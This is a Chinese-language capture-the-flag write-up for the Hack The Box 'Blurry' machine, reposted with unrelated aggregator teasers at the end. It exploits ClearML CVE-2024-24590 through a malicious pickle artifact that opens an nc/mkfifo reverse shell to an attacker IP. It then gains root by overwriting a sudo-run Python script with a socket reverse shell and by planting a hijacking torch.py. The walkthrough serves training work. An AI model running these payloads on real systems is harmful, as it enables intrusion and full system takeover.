Hack The Box-Blurry

总体思路

CVE-2024-24590->修改脚本/劫持python库

信息收集&端口利用

nmap -sSVC blurry.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 21:40 EDT
Nmap scan report for app.blurry.htb (10.10.11.19)
Host is up (0.20s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: ClearML
9876/tcp open  http    BusyBox httpd
|_http-title: 404 Not Found
9999/tcp open  abyss?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开放22、80、9876、9999端口,这里先看80端口

在这里插入图片描述

界面是一个ClearML的组件,是一个强大的开源平台,专为机器学习和深度学习项目提供全面的工作流程管理。它使得数据科学家、研究人员和工程师能够更加高效地组织实验、跟踪结果、复现研究,并且实现自动化工作流

对其进行目录扫描

dirsearch -u app.blurry.htb

在这里插入图片描述

翻阅一遍发现没有什么信息,直接访问网站,随意输入一个用户名登录

在这里插入图片描述

根据他的提示在本地创建一个clearml模块,初始化后导入再创建新的凭据

在这里插入图片描述

注意,此处要将api和files子域名加入到hosts文件中

在这里插入图片描述

通过查阅可知,ClearML存在CVE-2024-24590:攻击者可以创建包含任意代码的pickle文件,并将其作为工件通过API上传到项目中,当用户调用Artifact类中的get方法来下载文件并将其加载到内存中时,pickle文件将在他们的系统上被反序列化,运行其中包含的任意代码,具体利用方式和原理详见以下链接

https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

CVE-2024-24590

新建一个项目she11

在这里插入图片描述

根据网页中的链接,新建一个python脚本用于反弹shell

import pickle, osclass RunCommand:def __reduce__(self):return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 9000 >/tmp/f',))#使用 os.system 函数执行反弹shell命令,也可以使用/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.12/9000 0>&1"Command = RunCommand()from clearml import Task
#从 clearml 库导入 Task 类task = Task.init(project_name='111', task_name='111', tags=["review"])
#初始化一个 ClearML 任务(或者连接到预先存在的任务)#将 command 对象作为一个工件上传,这个对象被序列化为一个 .pkl 文件
task.upload_artifact(name='pickle_artifact', artifact_object=Command, retries=2, wait_on_upload=True, extension_name=".pkl")

运行后没有结果的需要多试几次或者更换反弹的代码

在这里插入图片描述

查看当前用户可执行的命令

在这里插入图片描述

可以以root身份执行evaluate_model函数,那么就进这个函数查看一下

#!/bin/bash
#根据我们的专有数据集评估给定模型。
#对模型文件进行安全检查。if [ "$#" -ne 1 ]; then/usr/bin/echo "Usage: $0 <path_to_model.pth>"exit 1
fi
#检查输入是否正确,是否只包含了一个参数MODEL_FILE="$1"
TEMP_DIR="/models/temp"#定义临时目录
PYTHON_SCRIPT="/models/evaluate_model.py"#定义脚本路径  /usr/bin/mkdir -p "$TEMP_DIR"#新建一个临时目录file_type=$(/usr/bin/file --brief "$MODEL_FILE")#确定文件类型#根据文件类型提取
if [[ "$file_type" == *"POSIX tar archive"* ]]; then#处理 POSIX tar 归档(较旧的 PyTorch 格式)/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then#处理 Zip 归档(较新的 PyTorch 格式)/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"exit 2#若文件不是tar格式也不是zip就退出
fi/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; dofickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."/bin/rm "$MODEL_FILE"breakfi
done
#使用find命令在临时目录中搜索潜在的恶意pickle文件(.pkl或pickle)。然后,它使用fickling(可能是一个自定义的安全检查工具)来检查这些文件是否包含恶意内容。如果找到恶意内容,它会删除模型文件并退出/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
#无论是否找到恶意内容,脚本都会删除临时目录中的所有文件,并移除目录本身if [ -f "$MODEL_FILE" ]; then/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
#如果模型文件在安全检查后仍然存在,脚本会将其视为安全的,并使用Python脚本$PYTHON_SCRIPT来评估它

总的来说,这一段代码先检查文件格式是否符合要求,符合就将其解压到临时目录中,并使用fickling工具分析pickle文件,若其包含恶意内容,就将其删除;若通过检查,则使用python脚本运行之

然后再查看models文件夹下的脚本

#evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys#定义自定义CNN模型
#这是一个简单的卷积神经网络,包含两个卷积层、两个最大池化层和两个全连接层。激活函数为ReLU
class CustomCNN(nn.Module):def __init__(self):super(CustomCNN, self).__init__()self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)self.fc2 = nn.Linear(in_features=128, out_features=10)self.relu = nn.ReLU()def forward(self, x):x = self.pool(self.relu(self.conv1(x)))x = self.pool(self.relu(self.conv2(x)))x = x.view(-1, 32 * 8 * 8)x = self.relu(self.fc1(x))x = self.fc2(x)return x#加载模型
#这个函数用于加载保存的模型参数(model.pth文件),并将模型设置为评估模式(model.eval())
def load_model(model_path):model = CustomCNN()state_dict = torch.load(model_path)model.load_state_dict(state_dict)model.eval()  return model#准备数据加载器
#这个函数创建一个数据加载器,用于加载CIFAR-10测试数据集的一个随机子集。数据集进行了常见的数据增强和标准化处理
def prepare_dataloader(batch_size=32):transform = transforms.Compose([transforms.RandomHorizontalFlip(),transforms.RandomCrop(32, padding=4),transforms.ToTensor(),transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),])dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform)subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)return dataloader#评估模型
#这个函数用于评估模型在测试数据集上的准确性。通过遍历数据加载器中的数据,计算模型的预测结果,并统计正确预测的数量,最终输出准确率
def evaluate_model(model, dataloader):correct = 0total = 0with torch.no_grad():  for images, labels in dataloader:outputs = model(images)_, predicted = torch.max(outputs.data, 1)total += labels.size(0)correct += (predicted == labels).sum().item()accuracy = 100 * correct / totalprint(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')#主函数
#主函数用于调用上述各个步骤,加载模型、准备数据加载器并评估模型
def main(model_path):model = load_model(model_path)print("[+] Loaded Model.")dataloader = prepare_dataloader()print("[+] Dataloader ready. Evaluating model...")evaluate_model(model, dataloader)#命令行入口
#这个部分允许脚本从命令行运行,并接受模型文件的路径作为输入参数。如果没有提供路径,会提示用户使用正确的命令格式
if __name__ == "__main__":if len(sys.argv) < 2:print("Usage: python script.py <path_to_model.pth>")else:model_path = sys.argv[1]  # Path to the .pth filemain(model_path)

这段代码实现了一个完整的从加载预训练模型到评估模型准确性的流程,适用于图像分类任务,尤其是CIFAR-10数据集。通过命令行传入模型文件路径,脚本可以加载该模型,并在指定数据集上进行评估

看到该脚本中调用了torch库,可以尝试使用直接修改脚本提权或者劫持python库进行提权

修改脚本

查看该文件夹的权限
在这里插入图片描述

因为jippity用户能够对该文件夹进行删除或者增加操作,并且该用户以root方式执行其中的脚本,因此将其原来的代码删除,修改为以下代码

#evaluate_model.py
import socket
import subprocess
import oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("ip", <port>));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
import pty
pty.spawn("/bin/bash");

再运行一遍evaluate_model程序

在这里插入图片描述

提权成功

在这里插入图片描述

劫持python库

先看该文件夹的权限

在这里插入图片描述

jippity用户可以创建文件

echo 'import os; os.system("bash")' > /models/torch.py

创建完毕后,再执行该脚本即可提权

sudo /usr/bin/evaluate_model /models/demo_model.pth

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26559.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【电机】了解无刷直流电机BLDC

1 介绍 无刷直流电机&#xff08;Brushless Direct Current Motor&#xff0c;简称BLDCM&#xff09;由电动机主体和驱动器组成&#xff0c;是一种典型的机电一体化产品。无刷电机是指无电刷和换向器&#xff08;或集电环&#xff09;的电机&#xff0c;又称无换向器电机。这是…

本地靶场搭建

1、windows service2003 链接&#xff1a;https://pan.baidu.com/s/1RIealrcfcDWKu1AIuYFbAQ?pwd4bv8 提取码&#xff1a;4bv8 2、asp环境搭建&#xff08;虚拟机内&#xff09; ①asp工作原理&#xff1a; 客户发送网站请求&#xff0c;iis接收客户请求&#xff0c;解析…

基于JSP的超市管理系统

你好呀&#xff0c;我是计算机学长猫哥&#xff01;如果有相关需求&#xff0c;文末可以找到我的联系方式。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;JSP MyBatis 工具&#xff1a;IDEA/Eclipse、Navicat、Maven 系统展示 员工管理界面图 管…

Ecahrts横向柱状图自动滚动

1.定义一个定时器标识 let timer: NodeJS.Timer; // 定时器 2.定义展示的数据的条数 const dataZoomEndValue 5; // 数据窗口范围的结束数值(一次性展示几个) 3.设置datazoom的相关参数 dataZoom: [{show: false, // 是否显示滑动条xAxisIndex: 0, // 表示从X轴的零刻度线…

谷粒商城实战(035 k8s集群学习1-前置介绍)

Java项目《谷粒商城》架构师级Java项目实战&#xff0c;对标阿里P6-P7&#xff0c;全网最强 总时长 104:45:00 共408P 此文章包含第339p-第p342的内容 分布式高级篇总结 高可用集群 内容 k8s介绍 为什么使用k8s 组件 master组件 node&#xff08;节点&#xff09;组件 要部…

[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)

[SWPUCTF 2022 新生赛]ez_ez_unserialize <?php class X {public $x __FILE__;function __construct($x){$this->x $x; }function __wakeup(){if ($this->x ! __FILE__) {$this->x __FILE__; }}function __destruct(){highlight_file($this->x);//flag is…

称重显示模块 Modbus RTU 通信

目录 一、智能称重数字显示器模块(带通信)1、称重传感器接线说明称重显示模块称重传感器USB 转 TTL 2、校准传感器&#xff08;标定&#xff1a;零点标定、满度标定&#xff09; 二、Modbus RTU 协议1、Modbus RTU 数据帧2、数据帧格式请求帧响应帧 三、上位机电脑与称重显示模…

携手知名律所,合合信息旗下名片全能王打造数字化名片“新范式”

在低碳办公理念盛行的当下&#xff0c;数字名片成为商务交流的新方式&#xff0c;以数字化智能化赋能绿色化。近期&#xff0c;合合信息旗下名片全能王企业数字名片升级&#xff0c;与上海市律师协会、广州市律师协会、北京大成&#xff08;上海&#xff09;律师事务所等多家律…

MySQL 8.0 安装、配置、启动、登录、连接、卸载教程

目录 前言1. 安装 MySQL 8.01.1 下载 MySQL 8.01.2 安装 MySQL 8.0 2. 配置 MySQL 8.02.1打开环境变量2.2新建变量 MYSQL_HOME2.3编辑 Path 变量 3. 启动MySQL 8.03.1验证安装与配置是否成功3.2初始化并注册MYSQL3.3 启动MYSQL服务 4.登录MySQL4.1修改账户默认密码4.2登录MYSQL…

【产品经理】发票系统简述

一、发票类型 增值税电子普通发票&#xff1a;简称电票 增值税普通发票和增值税专用发票&#xff0c;简称&#xff1a;纸票 蓝票&#xff1a;开票金额为正值的发票。红票&#xff1a;发票金额为负值的发票。 注&#xff1a;专票电子化系统国家目前在推&#xff0c;后续有更新…

三、网络服务协议

目录 一、FTP&#xff1a;文件传输协议 二、Telnet&#xff1a;远程登录协议 三、AAA认证 四、DHCP 五、DNS 六、PPP协议 七、ISIS协议 一、FTP&#xff1a;文件传输协议 C/S架构&#xff0c;现多用于企业内部的资料共享和网络设备的文件传输&#xff0c;企业内部搭建一…

【CT】LeetCode手撕—5. 最长回文子串

目录 题目1-思路2- 实现⭐5. 最长回文子串——题解思路 3- ACM实现 题目 原题连接&#xff1a;5. 最长回文子串 1-思路 子串的定义&#xff1a;子串是原始字符串的一个连续部分子序列的定义&#xff1a;子序列是原始字符串的一个子集记录最长回文子串的起始位置以及其长度&am…

ESP32-C6 闪耀 Apple WWDC24|使用 Embedded Swift 构建 Matter 设备

WWDC 是苹果公司的年度全球开发者大会&#xff0c;旨在向全球开发者展示最新技术和工具。在今年的 WWDC 2024 上&#xff0c;苹果宣布将 Swift 语言扩展至嵌入式设备领域。大会技术讲座中&#xff0c;乐鑫 ESP32-C6 也现身官方 Demo “Go Small with Embedded Swift​​​​​​…

Vue路由的使用

如图所示&#xff1a; 1.首先创建文件&#xff0c;views中有以上示例图看到的创建的以下路由页面名称&#xff1a; 这个是创建的名字&#xff0c;为了方便看清我把第1步创建的名字写在下面了&#xff0c;为了方便看到这篇文章&#xff0c;创建名字不明白的可以按照我这个名创建…

怎么推导顺序统计量的分布函数?求证下图?

倒腾了一下午( ͡ ͜ʖ ͡)✧ 老师ppt猝不及防po了这么一个式子&#xff0c;本科基础没学好的渣渣查了一个多小时才搞懂 ヾ(▽*))) 手写笔记

便捷生活,从便民平台开始

想要生活更轻松、更便捷吗&#xff1f;那就来试试我们的便民平台吧&#xff01;生活中的琐事总是让人头疼不已&#xff0c;但有了我们的便民平台&#xff0c;一切问题都迎刃而解&#xff01; 咸阳便民平台的张总说&#xff1a;无论您是需要家政服务、维修安装&#xff0c;还是寻…

yolov8通过训练完成的模型生成图片热力图--论文需要

源代码来自于网络 使用pytorch_grad_cam&#xff0c;对特定图片生成热力图结果。 安装热力图工具 pip install pytorch_grad_cam pip install grad-cam# get_params中的参数&#xff1a; # weight&#xff1a; # 模型权重文件&#xff0c;代码默认是yolov8m.pt # c…

【设计模式】行为型-模板方法模式

方法千变万化&#xff0c;心灵如潮&#xff0c;模板如画&#xff0c;画出生活的韵味。 文章目录 一、茶与咖啡二、模板方法模式三、模板方法模式的核心组成四、运用模板方法模式五、模板方法模式的应用场景六、小结推荐阅读 一、茶与咖啡 场景假设&#xff1a;我们需要完成茶…

基于Unet++在kaggle—2018dsb数据集上实现图像分割

目录 1. 作者介绍2. 理论知识介绍2.1 Unet模型介绍 3. 实验过程3.1 数据集介绍3.2 代码实现3.3 结果 4. 参考链接 1. 作者介绍 郭冠群&#xff0c;男&#xff0c;西安工程大学电子信息学院&#xff0c;2023级研究生 研究方向&#xff1a;机器视觉与人工智能 电子邮件&#xff…

Go变量作用域精讲及代码实战

1. 变量的作用域概述 在编程中&#xff0c;变量的作用域&#xff08;Scope&#xff09;定义了变量在程序中的可见性和生命周期。理解变量的作用域对于编写健壮且可维护的代码至关重要。Go语言&#xff08;简称Go&#xff09;提供了几种不同的作用域类型&#xff0c;使得开发者可…